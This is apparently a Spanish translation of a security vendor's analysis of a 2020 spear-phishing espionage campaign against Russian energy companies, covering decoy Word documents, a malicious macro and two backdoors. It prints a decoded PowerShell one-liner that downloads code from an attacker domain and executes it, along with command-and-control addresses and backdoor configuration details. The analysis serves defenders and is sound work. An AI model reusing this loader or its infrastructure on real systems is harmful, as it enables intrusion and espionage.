Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

Nuestra experiencia en la investigación de incidentes de seguridad informática muestra que el correo electrónico sigue siendo uno de los canales más comunes utilizados por los atacantes para penetrar inicialmente las infraestructuras de red atacadas. Una acción descuidada con una carta sospechosa (o no tan sospechosa) se convierte en un punto de entrada para una mayor infección, razón por la cual los ciberdelincuentes utilizan activamente métodos de ingeniería social, aunque con distintos grados de éxito.

En esta publicación queremos hablar sobre nuestra reciente investigación sobre una campaña de spam dirigida a varias empresas del complejo ruso de combustible y energía. Todos los ataques siguieron el mismo escenario utilizando correos electrónicos falsos y nadie parecía haber puesto mucho esfuerzo en el contenido del texto de estos correos electrónicos.

Exploración

Todo empezó a finales de abril de 2020, cuando los analistas de virus de Doctor Web detectaron una campaña de spam en la que los piratas informáticos enviaban una guía telefónica actualizada a los empleados de varias empresas del complejo ruso de combustible y energía. Por supuesto, esto no fue una simple muestra de preocupación, ya que el directorio no era real y los documentos .docx descargaban dos imágenes de recursos remotos.

Uno de ellos se descargó en la computadora del usuario desde el servidor de noticias[.]zannews[.]com. Cabe destacar que el nombre de dominio es similar al dominio del centro de medios anticorrupción de Kazajstán: zannews[.]kz. Por otro lado, el dominio utilizado recordó inmediatamente a otra campaña de 2015 conocida como TOPNEWS, que utilizaba una puerta trasera ICEFOG y tenía dominios de control troyano con la subcadena “noticias” en sus nombres. Otra característica interesante fue que al enviar correos electrónicos a diferentes destinatarios, las solicitudes para descargar una imagen utilizaban diferentes parámetros de solicitud o nombres de imagen únicos.

Creemos que esto se hizo con el fin de recopilar información para identificar un destinatario "confiable", que luego tendría la garantía de abrir la carta en el momento adecuado. Se utilizó el protocolo SMB para descargar la imagen del segundo servidor, lo que se podía hacer para recopilar hashes NetNTLM de las computadoras de los empleados que abrieron el documento recibido.

Y aquí está la carta con el directorio falso:

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

En junio de este año, los piratas informáticos comenzaron a utilizar un nuevo nombre de dominio, sports[.]manhajnews[.]com, para cargar imágenes. El análisis mostró que los subdominios manhajnews[.]com se han utilizado en correos spam desde al menos septiembre de 2019. Uno de los objetivos de esta campaña era una gran universidad rusa.

Además, en junio, los organizadores del ataque idearon un nuevo texto para sus cartas: esta vez el documento contenía información sobre el desarrollo de la industria. El texto de la carta indicaba claramente que su autor o no era un hablante nativo de ruso o estaba creando deliberadamente esa impresión sobre sí mismo. Desafortunadamente, las ideas de desarrollo de la industria, como siempre, resultaron ser solo una tapadera: el documento nuevamente descargó dos imágenes, mientras que el servidor se cambió a download[.]inklingpaper[.]com.

La siguiente innovación llegó en julio. En un intento por evitar la detección de documentos maliciosos por parte de los programas antivirus, los atacantes comenzaron a utilizar documentos de Microsoft Word cifrados con una contraseña. Al mismo tiempo, los atacantes decidieron utilizar una técnica clásica de ingeniería social: la notificación de recompensa.

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

El texto del llamamiento volvió a estar escrito en el mismo estilo, lo que despertó sospechas adicionales entre el destinatario. El servidor para descargar la imagen tampoco cambió.

Tenga en cuenta que en todos los casos, para enviar cartas se utilizaron buzones de correo electrónico registrados en los dominios mail[.]ru y yandex[.]ru.

Ataque

A principios de septiembre de 2020, llegó el momento de actuar. Nuestros analistas de virus registraron una nueva ola de ataques, en los que los atacantes volvieron a enviar cartas con el pretexto de actualizar una guía telefónica. Sin embargo, esta vez el archivo adjunto contenía una macro maliciosa.

Al abrir el documento adjunto, la macro creó dos archivos:

  • Script VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, que estaba destinado a iniciar un archivo por lotes;
  • El archivo por lotes %APPDATA%configstest.bat, que estaba ofuscado.

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

La esencia de su trabajo se reduce a ejecutar el shell Powershell con ciertos parámetros. Los parámetros pasados ​​al shell se decodifican en comandos:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Como se desprende de los comandos presentados, el dominio desde el que se descarga la carga útil vuelve a disfrazarse de sitio de noticias. Un simple cargador, cuya única tarea es recibir el código shell del servidor de comando y control y ejecutarlo. Pudimos identificar dos tipos de puertas traseras que se pueden instalar en la PC de la víctima.

Puerta trasera.Siggen2.3238

El primero es Puerta trasera.Siggen2.3238 — nuestros especialistas no lo habían encontrado antes y tampoco hubo ninguna mención de este programa por parte de otros proveedores de antivirus.

Este programa es una puerta trasera escrita en C++ y que se ejecuta en sistemas operativos Windows de 32 bits.

Puerta trasera.Siggen2.3238 es capaz de comunicarse con el servidor de gestión mediante dos protocolos: HTTP y HTTPS. La muestra probada utiliza el protocolo HTTPS. El siguiente User-Agent se utiliza en las solicitudes al servidor:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

En este caso, todas las solicitudes reciben el siguiente conjunto de parámetros:

%s;type=%s;length=%s;realdata=%send

donde cada línea %s se reemplaza correspondientemente por:

  • ID de la computadora infectada,
  • tipo de solicitud que se envía,
  • longitud de los datos en el campo realdata,
  • datos

En la etapa de recopilación de información sobre el sistema infectado, la puerta trasera genera una línea como:

lan=%s;cmpname=%s;username=%s;version=%s;

donde lan es la dirección IP de la computadora infectada, cmpname es el nombre de la computadora, nombre de usuario es el nombre de usuario y la versión es la línea 0.0.4.03.

Esta información con el identificador sysinfo se envía mediante una solicitud POST al servidor de control ubicado en https[:]//31.214[.]157.14/log.txt. si en respuesta Puerta trasera.Siggen2.3238 recibe la señal HEART, la conexión se considera exitosa y la puerta trasera comienza el ciclo principal de comunicación con el servidor.

Descripción más completa de los principios operativos. Puerta trasera.Siggen2.3238 está en nuestro biblioteca de virus.

Puerta trasera.Whitebird.23

El segundo programa es una modificación de la puerta trasera BackDoor.Whitebird, que ya conocemos por el incidente con una agencia gubernamental en Kazajstán. Esta versión está escrita en C++ y está diseñada para ejecutarse en sistemas operativos Windows de 32 y 64 bits.

Como la mayoría de programas de este tipo, Puerta trasera.Whitebird.23 diseñado para establecer una conexión cifrada con el servidor de control y control no autorizado de una computadora infectada. Instalado en un sistema comprometido usando un gotero Puerta trasera.Siggen2.3244.

La muestra que examinamos fue una biblioteca maliciosa con dos exportaciones:

  • Google Play
  • Prueba.

Al comienzo de su trabajo, descifra la configuración cableada en el cuerpo de la puerta trasera utilizando un algoritmo basado en la operación XOR con el byte 0x99. La configuración se ve así:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Para garantizar su funcionamiento constante, la puerta trasera cambia el valor especificado en el campo Horas Laborales configuraciones. El campo contiene 1440 bytes, que toman los valores 0 o 1 y representan cada minuto de cada hora del día. Crea un hilo separado para cada interfaz de red que escucha la interfaz y busca paquetes de autorización en el servidor proxy desde la computadora infectada. Cuando se detecta dicho paquete, la puerta trasera agrega información sobre el servidor proxy a su lista. Además, comprueba la presencia de un proxy a través de WinAPI. OpciónConsultaInternetW.

El programa comprueba el minuto y la hora actuales y los compara con los datos del campo. Horas Laborales configuraciones. Si el valor del minuto correspondiente del día no es cero, se establece una conexión con el servidor de control.

Establecer una conexión con el servidor simula la creación de una conexión utilizando el protocolo TLS versión 1.0 entre el cliente y el servidor. El cuerpo de la puerta trasera contiene dos topes.

El primer búfer contiene el paquete de saludo del cliente TLS 1.0.

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

El segundo búfer contiene paquetes de intercambio de claves de cliente TLS 1.0 con una longitud de clave de 0x100 bytes, cambio de especificación de cifrado y mensaje de protocolo de enlace cifrado.

Estamos investigando un ataque de espionaje dirigido al complejo de combustible y energía ruso.

Al enviar un paquete Client Hello, la puerta trasera escribe 4 bytes de la hora actual y 28 bytes de datos pseudoaleatorios en el campo Client Random, calculados de la siguiente manera:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

El paquete recibido se envía al servidor de control. La respuesta (paquete de saludo del servidor) comprueba:

  • cumplimiento del protocolo TLS versión 1.0;
  • correspondencia de la marca de tiempo (los primeros 4 bytes del campo del paquete de datos aleatorios) especificada por el cliente con la marca de tiempo especificada por el servidor;
  • coincidencia de los primeros 4 bytes después de la marca de tiempo en el campo Datos aleatorios del cliente y el servidor.

En caso de que coincidan las coincidencias especificadas, la puerta trasera prepara un paquete de intercambio de claves de cliente. Para hacer esto, modifica la clave pública en el paquete Client Key Exchange, así como el Encryption IV y los datos de cifrado en el paquete Encrypted Handshake Message.

Luego, la puerta trasera recibe el paquete del servidor de comando y control, verifica que la versión del protocolo TLS sea 1.0 y luego acepta otros 54 bytes (el cuerpo del paquete). Esto completa la configuración de la conexión.

Descripción más completa de los principios operativos. Puerta trasera.Whitebird.23 está en nuestro biblioteca de virus.

Conclusión y conclusiones

El análisis de los documentos, el malware y la infraestructura utilizada nos permite decir con seguridad que el ataque fue preparado por uno de los grupos APT chinos. Teniendo en cuenta la funcionalidad de las puertas traseras que se instalan en los ordenadores de las víctimas en caso de un ataque exitoso, la infección conduce, como mínimo, al robo de información confidencial de los ordenadores de las organizaciones atacadas.

Además, un escenario muy probable es la instalación de troyanos especializados en servidores locales con una función especial. Estos podrían ser controladores de dominio, servidores de correo, gateways de Internet, etc. Como pudimos ver en el ejemplo incidente en Kazajstán, estos servidores son de particular interés para los atacantes por varias razones.

Fuente: habr.com

Añadir un comentario